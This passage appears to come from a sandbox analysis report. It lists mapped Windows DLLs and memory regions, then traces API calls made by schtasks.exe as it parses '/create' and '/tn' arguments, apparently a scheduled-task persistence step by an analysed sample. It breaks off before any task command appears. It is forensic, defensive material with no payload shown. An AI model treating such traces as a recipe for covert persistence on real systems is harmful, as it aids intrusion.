"ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3043 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3044 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3045 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3046 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 3047 start_va = 0x260000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 3048 start_va = 0x350000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 3049 start_va = 0x450000 end_va = 0x5d7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 3050 start_va = 0x260000 end_va = 0x288fff monitored = 0 entry_point = 0x261010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3051 start_va = 0x340000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 3052 start_va = 0x260000 end_va = 0x288fff monitored = 0 entry_point = 0x261010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3053 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3054 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3055 start_va = 0x5e0000 end_va = 0x760fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005e0000" filename = "" Region: id = 3056 start_va = 0x770000 end_va = 0x1b6ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000770000" filename = "" Region: id = 3057 start_va = 0x260000 end_va = 0x271fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 3058 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3059 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3060 start_va = 0x60000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 3061 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3062 start_va = 0x1b70000 end_va = 0x1e3efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3063 start_va = 0x280000 end_va = 0x2fcfff monitored = 0 entry_point = 0x28cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3064 start_va = 0x280000 end_va = 0x2fcfff monitored = 0 entry_point = 0x28cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3065 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3066 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 3067 start_va = 0x1e40000 end_va = 0x1f4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e40000" filename = "" Region: id = 3068 start_va = 0x1f50000 end_va = 0x202efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f50000" filename = "" Region: id = 3069 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3070 start_va = 0x290000 end_va = 0x30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 3071 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 3072 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3073 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 3074 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3075 start_va = 0x280000 end_va = 0x280fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 3076 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3077 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3078 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 145 os_tid = 0xfec [0072.218] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25fd60 | out: lpSystemTimeAsFileTime=0x25fd60*(dwLowDateTime=0x5402aa40, dwHighDateTime=0x1d9eb0c)) [0072.218] GetCurrentProcessId () returned 0xfe8 [0072.218] GetCurrentThreadId () returned 0xfec [0072.218] GetTickCount () returned 0x1767871 [0072.218] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x25fd68 | out: lpPerformanceCount=0x25fd68*=2487870120354) returned 1 [0072.218] GetModuleHandleW (lpModuleName=0x0) returned 0xff9d0000 [0072.218] __set_app_type (_Type=0x1) [0072.218] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff9f972c) returned 0x0 [0072.219] __wgetmainargs (in: _Argc=0xffa11240, _Argv=0xffa11250, _Env=0xffa11248, _DoWildCard=0, _StartInfo=0xffa1125c | out: _Argc=0xffa11240, _Argv=0xffa11250, _Env=0xffa11248) returned 0 [0072.220] _onexit (_Func=0xffa02ab0) returned 0xffa02ab0 [0072.220] _onexit (_Func=0xffa02ac4) returned 0xffa02ac4 [0072.220] _onexit (_Func=0xffa02afc) returned 0xffa02afc [0072.220] _onexit (_Func=0xffa02b58) returned 0xffa02b58 [0072.220] _onexit (_Func=0xffa02b80) returned 0xffa02b80 [0072.220] _onexit (_Func=0xffa02ba8) returned 0xffa02ba8 [0072.221] _onexit (_Func=0xffa02bd0) returned 0xffa02bd0 [0072.221] _onexit (_Func=0xffa02bf8) returned 0xffa02bf8 [0072.221] _onexit (_Func=0xffa02c20) returned 0xffa02c20 [0072.221] _onexit (_Func=0xffa02c48) returned 0xffa02c48 [0072.221] _onexit (_Func=0xffa02c70) returned 0xffa02c70 [0072.221] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0072.221] WinSqmIsOptedIn () returned 0x0 [0072.222] GetProcessHeap () returned 0x60000 [0072.222] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x18) returned 0x75590 [0072.222] SetLastError (dwErrCode=0x0) [0072.222] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0072.222] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0072.222] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0072.223] VerifyVersionInfoW (in: lpVersionInformation=0x25f520, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x25f520) returned 1 [0072.223] GetProcessHeap () returned 0x60000 [0072.223] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x18) returned 0x7bb50 [0072.223] lstrlenW (lpString="") returned 0 [0072.223] GetProcessHeap () returned 0x60000 [0072.223] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x2) returned 0x7bb70 [0072.223] GetProcessHeap () returned 0x60000 [0072.223] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75a80 [0072.223] GetProcessHeap () returned 0x60000 [0072.223] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x18) returned 0x7bb90 [0072.223] GetProcessHeap () returned 0x60000 [0072.223] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75ab0 [0072.223] GetProcessHeap () returned 0x60000 [0072.223] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75ae0 [0072.223] GetProcessHeap () returned 0x60000 [0072.223] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75b10 [0072.223] GetProcessHeap () returned 0x60000 [0072.223] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75b40 [0072.223] GetProcessHeap () returned 0x60000 [0072.223] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x18) returned 0x7bbb0 [0072.223] GetProcessHeap () returned 0x60000 [0072.223] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75b70 [0072.223] GetProcessHeap () returned 0x60000 [0072.223] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75ba0 [0072.223] GetProcessHeap () returned 0x60000 [0072.223] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75bd0 [0072.223] GetProcessHeap () returned 0x60000 [0072.223] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75c00 [0072.223] GetProcessHeap () returned 0x60000 [0072.224] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x18) returned 0x7bbd0 [0072.224] GetProcessHeap () returned 0x60000 [0072.224] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75c30 [0072.224] GetProcessHeap () returned 0x60000 [0072.224] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75c60 [0072.224] GetProcessHeap () returned 0x60000 [0072.224] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75c90 [0072.224] GetProcessHeap () returned 0x60000 [0072.224] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75cc0 [0072.224] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.224] SetLastError (dwErrCode=0x0) [0072.224] GetProcessHeap () returned 0x60000 [0072.224] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75cf0 [0072.224] GetProcessHeap () returned 0x60000 [0072.224] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75d20 [0072.224] GetProcessHeap () returned 0x60000 [0072.224] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75d50 [0072.224] GetProcessHeap () returned 0x60000 [0072.224] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75d80 [0072.224] GetProcessHeap () returned 0x60000 [0072.224] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75db0 [0072.224] GetProcessHeap () returned 0x60000 [0072.225] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x18) returned 0x7bbf0 [0072.225] _memicmp (_Buf1=0x7bbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.225] GetProcessHeap () returned 0x60000 [0072.225] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x208) returned 0x7bd90 [0072.225] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7bd90, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0072.225] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0072.228] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0072.228] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0072.229] GetProcessHeap () returned 0x60000 [0072.229] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x74e) returned 0x7c360 [0072.229] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0072.229] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x7c360 | out: lpData=0x7c360) returned 1 [0072.229] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0072.229] VerQueryValueW (in: pBlock=0x7c360, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x25f608, puLen=0x25f670 | out: lplpBuffer=0x25f608*=0x7c6fc, puLen=0x25f670) returned 1 [0072.232] _memicmp (_Buf1=0x7bbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.232] _vsnwprintf (in: _Buffer=0x7bd90, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x25f5e8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0072.232] VerQueryValueW (in: pBlock=0x7c360, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x25f678, puLen=0x25f668 | out: lplpBuffer=0x25f678*=0x7c528, puLen=0x25f668) returned 1 [0072.232] lstrlenW (lpString="schtasks.exe") returned 12 [0072.232] lstrlenW (lpString="schtasks.exe") returned 12 [0072.232] lstrlenW (lpString=".EXE") returned 4 [0072.232] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0072.233] lstrlenW (lpString="schtasks.exe") returned 12 [0072.233] lstrlenW (lpString=".EXE") returned 4 [0072.233] _memicmp (_Buf1=0x7bbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.233] lstrlenW (lpString="schtasks") returned 8 [0072.234] GetProcessHeap () returned 0x60000 [0072.234] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75ea0 [0072.234] GetProcessHeap () returned 0x60000 [0072.234] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cc70 [0072.234] GetProcessHeap () returned 0x60000 [0072.234] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cca0 [0072.234] GetProcessHeap () returned 0x60000 [0072.234] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7ccd0 [0072.234] GetProcessHeap () returned 0x60000 [0072.234] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x18) returned 0x7bc10 [0072.234] _memicmp (_Buf1=0x7bc10, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.234] GetProcessHeap () returned 0x60000 [0072.234] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0xa0) returned 0x7c190 [0072.234] GetProcessHeap () returned 0x60000 [0072.234] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cd00 [0072.234] GetProcessHeap () returned 0x60000 [0072.235] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cd30 [0072.235] GetProcessHeap () returned 0x60000 [0072.235] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cd60 [0072.235] GetProcessHeap () returned 0x60000 [0072.235] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x18) returned 0x7bc30 [0072.235] _memicmp (_Buf1=0x7bc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.235] GetProcessHeap () returned 0x60000 [0072.235] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x200) returned 0x7d440 [0072.235] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x7d440, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0072.235] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0072.235] GetProcessHeap () returned 0x60000 [0072.235] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x30) returned 0x77c10 [0072.235] _vsnwprintf (in: _Buffer=0x7c190, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x25f5e8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0072.235] GetProcessHeap () returned 0x60000 [0072.235] GetProcessHeap () returned 0x60000 [0072.235] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7c360) returned 1 [0072.236] GetProcessHeap () returned 0x60000 [0072.236] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7c360) returned 0x74e [0072.236] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7c360 | out: hHeap=0x60000) returned 1 [0072.236] SetLastError (dwErrCode=0x0) [0072.236] GetThreadLocale () returned 0x409 [0072.236] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.237] lstrlenW (lpString="?") returned 1 [0072.237] GetThreadLocale () returned 0x409 [0072.237] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.237] lstrlenW (lpString="create") returned 6 [0072.237] GetThreadLocale () returned 0x409 [0072.237] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.237] lstrlenW (lpString="delete") returned 6 [0072.237] GetThreadLocale () returned 0x409 [0072.237] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.237] lstrlenW (lpString="query") returned 5 [0072.237] GetThreadLocale () returned 0x409 [0072.237] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.237] lstrlenW (lpString="change") returned 6 [0072.237] GetThreadLocale () returned 0x409 [0072.237] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.237] lstrlenW (lpString="run") returned 3 [0072.237] GetThreadLocale () returned 0x409 [0072.237] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.237] lstrlenW (lpString="end") returned 3 [0072.237] GetThreadLocale () returned 0x409 [0072.237] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.237] lstrlenW (lpString="showsid") returned 7 [0072.237] GetThreadLocale () returned 0x409 [0072.238] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.238] SetLastError (dwErrCode=0x0) [0072.238] SetLastError (dwErrCode=0x0) [0072.238] lstrlenW (lpString="/create") returned 7 [0072.238] lstrlenW (lpString="-/") returned 2 [0072.238] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0072.238] lstrlenW (lpString="?") returned 1 [0072.238] lstrlenW (lpString="?") returned 1 [0072.238] GetProcessHeap () returned 0x60000 [0072.238] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x18) returned 0x7c240 [0072.238] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.238] GetProcessHeap () returned 0x60000 [0072.238] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0xa) returned 0x7c360 [0072.238] lstrlenW (lpString="create") returned 6 [0072.238] GetProcessHeap () returned 0x60000 [0072.238] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x18) returned 0x7c380 [0072.238] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.238] GetProcessHeap () returned 0x60000 [0072.238] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x14) returned 0x7c3a0 [0072.238] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|?|") returned 3 [0072.238] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|create|") returned 8 [0072.238] lstrlenW (lpString="|?|") returned 3 [0072.238] lstrlenW (lpString="|create|") returned 8 [0072.238] SetLastError (dwErrCode=0x490) [0072.238] lstrlenW (lpString="create") returned 6 [0072.239] lstrlenW (lpString="create") returned 6 [0072.239] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.239] GetProcessHeap () returned 0x60000 [0072.239] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7c360) returned 1 [0072.239] GetProcessHeap () returned 0x60000 [0072.239] RtlReAllocateHeap (Heap=0x60000, Flags=0xc, Ptr=0x7c360, Size=0x14) returned 0x7c3c0 [0072.239] lstrlenW (lpString="create") returned 6 [0072.239] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.239] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|create|") returned 8 [0072.239] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|create|") returned 8 [0072.239] lstrlenW (lpString="|create|") returned 8 [0072.239] lstrlenW (lpString="|create|") returned 8 [0072.239] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0072.239] SetLastError (dwErrCode=0x0) [0072.239] SetLastError (dwErrCode=0x0) [0072.239] SetLastError (dwErrCode=0x0) [0072.239] lstrlenW (lpString="/tn") returned 3 [0072.239] lstrlenW (lpString="-/") returned 2 [0072.239] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0072.239] lstrlenW (lpString="?") returned 1 [0072.239] lstrlenW (lpString="?") returned 1 [0072.239] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.239] lstrlenW (lpString="tn") returned 2 [0072.239] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.240] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|?|") returned 3 [0072.240] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|tn|") returned 4 [0072.240] lstrlenW (lpString="|?|") returned 3 [0072.240] lstrlenW (lpString="|tn|") returned 4 [0072.240] SetLastError (dwErrCode=0x490) [0072.240] lstrlenW (lpString="create") returned 6 [0072.240] lstrlenW (lpString="create") returned 6 [0072.240] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.240] lstrlenW (lpString="tn") returned 2 [0072.240] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.240] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|create|") returned 8 [0072.240] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|tn|") returned 4 [0072.240] lstrlenW (lpString="|create|") returned 8 [0072.240] lstrlenW (lpString="|tn|") returned 4 [0072.240] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0072.240] SetLastError (dwErrCode=0x490) [0072.240] lstrlenW (lpString="delete") returned 6 [0072.240] lstrlenW (lpString="delete") returned 6 [0072.240] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.240] lstrlenW (lpString="tn") returned 2 [0072.240] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.240] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|delete|") returned 8 [0072.240] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|tn|") returned 4 [0072.241] lstrlenW (lpString="|delete|") returned 8 [0072.241] lstrlenW (lpString="|tn|") returned 4 [0072.241] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0072.241] SetLastError (dwErrCode=0x490) [0072.241] lstrlenW (lpString="query") returned 5 [0072.241] lstrlenW (lpString="query") returned 5 [0072.241] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.241] lstrlenW (lpString="tn") returned 2 [0072.241] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.241] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|query|") returned 7 [0072.241] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|tn|") returned 4 [0072.241] lstrlenW (lpString="|query|") returned 7 [0072.241] lstrlenW (lpString="|tn|") returned 4 [0072.241] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0072.241] SetLastError (dwErrCode=0x490) [0072.241] lstrlenW (lpString="change") returned 6 [0072.241] lstrlenW (lpString="change") returned 6 [0072.241] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.241] lstrlenW (lpString="tn") returned 2 [0072.241] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.241] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|change|") returned 8 [0072.241] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5f8 | out: _Buffer="|tn|") returned 4 [0072.241] lstrlenW (lpString="|change|") returned 8 [0072.242] 